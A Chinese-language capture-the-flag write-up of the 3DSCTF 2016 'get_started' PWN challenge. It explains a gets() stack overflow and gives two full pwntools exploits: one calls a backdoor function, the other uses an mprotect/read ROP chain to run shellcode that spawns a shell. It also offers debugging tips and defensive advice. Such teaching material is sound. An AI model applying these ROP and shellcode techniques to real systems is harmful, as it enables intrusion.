1. 漏洞分析与利用概述
在网络安全领域,二进制漏洞利用是一个极具挑战性的研究方向。今天我要分享的是一个来自3DSCTF 2016的入门级PWN题目"get_started_3dsctf_2016"的详细分析过程。这道题虽然被归类为入门级别,但它完美展示了栈溢出漏洞的基本原理和两种不同的利用方式,特别适合想要学习二进制安全的初学者。
题目提供了一个32位的ELF可执行文件,通过分析我们发现它存在典型的栈溢出漏洞。更令人兴奋的是,这个题目还特意留了一个"后门函数"get_flag(),同时提供了mprotect系统调用,让我们可以探索不同的漏洞利用方式。
2. 初步分析与漏洞定位
2.1 基础检查
首先我们使用checksec工具检查程序的安全机制:
bash复制checksec get_started_3dsctf_2016
输出结果显示程序开启了NX保护(No Execute),这意味着我们不能直接在栈上执行shellcode。但有趣的是,程序本身提供了mprotect函数,这给了我们绕过NX保护的可能性。
2.2 IDA静态分析
将程序拖入IDA进行反编译,我们很快就能发现几个关键点:
-
危险的gets函数:main函数中直接使用了gets()来读取用户输入,这是一个典型的栈溢出漏洞点。gets()函数不会检查输入长度,可以覆盖栈上的返回地址。
-
特殊的main函数结构:观察汇编代码发现,这个main函数没有标准的函数序言(push ebp; mov ebp, esp),结尾直接是retn指令。这意味着我们不需要覆盖ebp指针,简化了偏移量的计算。
-
后门函数:在函数列表中可以看到一个明显的get_flag()函数,地址是0x80489A0。这个函数会直接打印flag,前提是传入正确的参数。
-
mprotect函数:程序还导入了mprotect系统调用,这为我们提供了第二种利用方式的可能性。
3. 第一种利用方式:直接调用后门函数
3.1 利用思路
既然程序已经提供了get_flag()这个后门函数,我们最直接的利用方式就是通过栈溢出覆盖返回地址,跳转到这个函数执行。不过需要注意两点:
- get_flag()需要两个特定参数才能正确执行
- 执行完get_flag()后需要正常退出程序,避免崩溃
3.2 关键地址收集
我们需要收集以下几个关键地址和参数值:
- get_flag()地址:0x80489A0
- exit()函数地址:0x804E6A0(用于程序正常退出)
- 参数值:
- a1 = 0x308CD64F
- a2 = 0x195719D1
3.3 偏移量计算
通过动态调试或pattern create/offset工具,我们确定溢出点到返回地址的偏移量是0x38字节。这意味着我们需要先填充0x38字节的垃圾数据,然后覆盖返回地址。
3.4 构造payload
基于以上信息,我们可以构造如下payload结构:
code复制[0x38字节填充] + [get_flag地址] + [exit地址] + [参数1] + [参数2]
对应的Python exploit代码如下:
python复制from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote("node5.buuoj.cn", 29481)
offset = 0x38
get_flag_addr = 0x80489A0
exit_addr = 0x804E6A0
a1 = 0x308CD64F
a2 = 0x195719D1
payload = cyclic(offset) + p32(get_flag_addr) + p32(exit_addr) + p32(a1) + p32(a2)
io.sendline(payload)
io.interactive()
3.5 执行结果
运行这个exploit后,我们成功获取了flag。这种方法的优点是简单直接,不需要复杂的ROP链构造。但它依赖于程序中存在可直接利用的后门函数,在实际环境中这种情况比较少见。
4. 第二种利用方式:使用mprotect绕过NX
4.1 利用思路
当程序中没有现成的后门函数时,我们需要更通用的利用方式。这个题目虽然提供了get_flag(),但为了学习目的,我们尝试使用mprotect来绕过NX保护,执行自定义shellcode。
基本思路是:
- 使用mprotect修改内存区域的权限为可读可写可执行
- 使用read函数将shellcode读入该内存区域
- 跳转到shellcode执行
4.2 mprotect函数详解
mprotect的函数原型是:
c复制int mprotect(void *addr, size_t len, int prot);
关键参数说明:
- addr:要修改的内存起始地址,必须是内存页对齐的(通常是0x1000的倍数)
- len:要修改的内存长度,通常设置为一个页大小0x1000
- prot:权限标志,7表示RWX(可读可写可执行)
4.3 关键地址收集
我们需要收集以下关键地址:
- mprotect地址:通过ELF.symbols['mprotect']获取
- read地址:通过ELF.symbols['read']获取
- 可写内存区域:在IDA中查看内存映射,选择.bss段或其他可写区域,如0x8048000
- ROP gadget:需要pop3;ret这样的gadget来清理栈参数
使用ROPgadget工具查找合适的gadget:
bash复制ROPgadget --binary get_started_3dsctf_2016 | grep "pop; pop; pop; ret"
找到一个可用的gadget地址:0x80509a5
4.4 构造ROP链
我们需要构造一个复杂的ROP链来完成以下步骤:
- 调用mprotect修改内存权限
- 调用read读取shellcode
- 跳转到shellcode执行
payload结构如下:
code复制[0x38字节填充]
+ [mprotect地址]
+ [pop3;ret地址]
+ [mprotect参数1: addr]
+ [mprotect参数2: len]
+ [mprotect参数3: prot]
+ [read地址]
+ [pop3;ret地址]
+ [read参数1: fd]
+ [read参数2: buf]
+ [read参数3: count]
+ [shellcode地址]
4.5 完整exploit代码
python复制from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote("node5.buuoj.cn", 29481)
elf = ELF("./get_started_3dsctf_2016")
addr = 0x8048000
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
offset = 0x38
pop_addr = 0x80509a5
payload = cyclic(offset)
payload += p32(mprotect_addr)
payload += p32(pop_addr)
payload += p32(addr) + p32(0x1000) + p32(0x7)
payload += p32(read_addr)
payload += p32(pop_addr)
payload += p32(0) + p32(addr) + p32(0x1000)
payload += p32(addr)
shellcode = asm(shellcraft.sh())
io.sendline(payload)
io.sendline(shellcode)
io.interactive()
4.6 执行结果
运行这个exploit同样成功获取了flag。这种方法虽然复杂,但它展示了绕过NX保护的通用技术,在实际漏洞利用中更为常见。
5. 技术细节深入解析
5.1 gets()函数的安全问题
gets()函数是C标准库中最危险的函数之一,因为它完全不检查输入长度。它的工作方式是从标准输入读取数据,直到遇到换行符或EOF,然后在缓冲区末尾添加null字符。如果输入数据比缓冲区大,就会导致缓冲区溢出。
在本题中,gets()的缓冲区位于栈上,溢出可以覆盖函数的返回地址,从而控制程序执行流。
5.2 函数调用约定
32位程序使用cdecl调用约定,参数从右向左压栈,由调用者清理栈。因此我们的ROP链构造需要遵循这个规则:
- 先将返回地址压栈(我们想要执行的下一个函数地址)
- 然后按顺序压入参数
- 使用ret指令跳转到函数
5.3 mprotect的使用技巧
在使用mprotect时有几个关键点需要注意:
-
地址对齐:addr必须是内存页对齐的,通常以0x1000结尾。如果地址不对齐,mprotect会返回-1且不会修改权限。
-
权限设置:prot参数使用位掩码,7表示PROT_READ|PROT_WRITE|PROT_EXEC。
-
长度选择:len通常设置为一个页大小(0x1000),即使你只需要少量空间。
5.4 ROP链构造的艺术
构造ROP链时需要考虑以下几点:
-
参数清理:每次函数调用后,需要用pop指令清理栈上的参数,保持栈平衡。
-
寄存器状态:确保跳转到下一个函数时,寄存器状态不会干扰函数执行。
-
链式调用:合理安排函数调用顺序,确保前一个函数的执行为后一个函数创造条件。
6. 常见问题与调试技巧
6.1 偏移量计算不准确
症状:exploit执行后程序崩溃,但没有达到预期效果。
解决方法:
- 使用cyclic pattern生成测试字符串
- 程序崩溃时查看eip值
- 用cyclic_find计算精确偏移
6.2 mprotect调用失败
症状:shellcode执行时出现段错误。
可能原因:
- 地址没有对齐
- 长度不是页大小的整数倍
- 权限值设置错误
调试方法:
- 在gdb中单步执行,检查mprotect返回值
- 使用vmmap命令查看内存权限是否真的被修改
6.3 shellcode执行失败
症状:程序跳转到shellcode但立即崩溃。
可能原因:
- shellcode包含空字节被截断
- shellcode位置不正确
- 内存权限未正确设置
调试方法:
- 检查生成的shellcode是否包含坏字符
- 在gdb中查看shellcode是否完整写入目标地址
- 确认内存区域确实有执行权限
7. 防御措施与安全建议
虽然本文主要讲解攻击技术,但作为负责任的网络安全从业者,我们也应该了解如何防御这类漏洞:
-
避免使用危险函数:永远不要使用gets()、sprintf()等不安全的函数,使用它们的安全替代品。
-
启用安全机制:编译时开启所有安全选项(ASLR, NX, Stack Canary等)。
-
代码审计:定期进行代码安全审计,特别是处理用户输入的部分。
-
权限最小化:程序应遵循最小权限原则,不要给予不必要的权限。
-
输入验证:对所有用户输入进行严格验证和长度检查。
8. 扩展学习与资源推荐
想要深入学习二进制安全的同学可以参考以下资源:
-
书籍:
- 《Hacking: The Art of Exploitation》
- 《The Shellcoder's Handbook》
-
在线课程:
- Offensive Security的PWK课程
- CTF竞赛中的PWN题目
-
工具:
- GDB with peda/gef/pwndbg插件
- pwntools
- ROPgadget
-
实践平台:
- Hack The Box
- Pwnable.kr
- CTFtime.org上的各种CTF比赛
通过这道入门题目的学习,我们掌握了栈溢出的基本原理和两种不同的利用方式。在实际应用中,情况往往更加复杂,需要灵活运用这些基础知识,结合具体环境进行调整。记住,二进制安全学习是一个循序渐进的过程,需要大量的实践和耐心。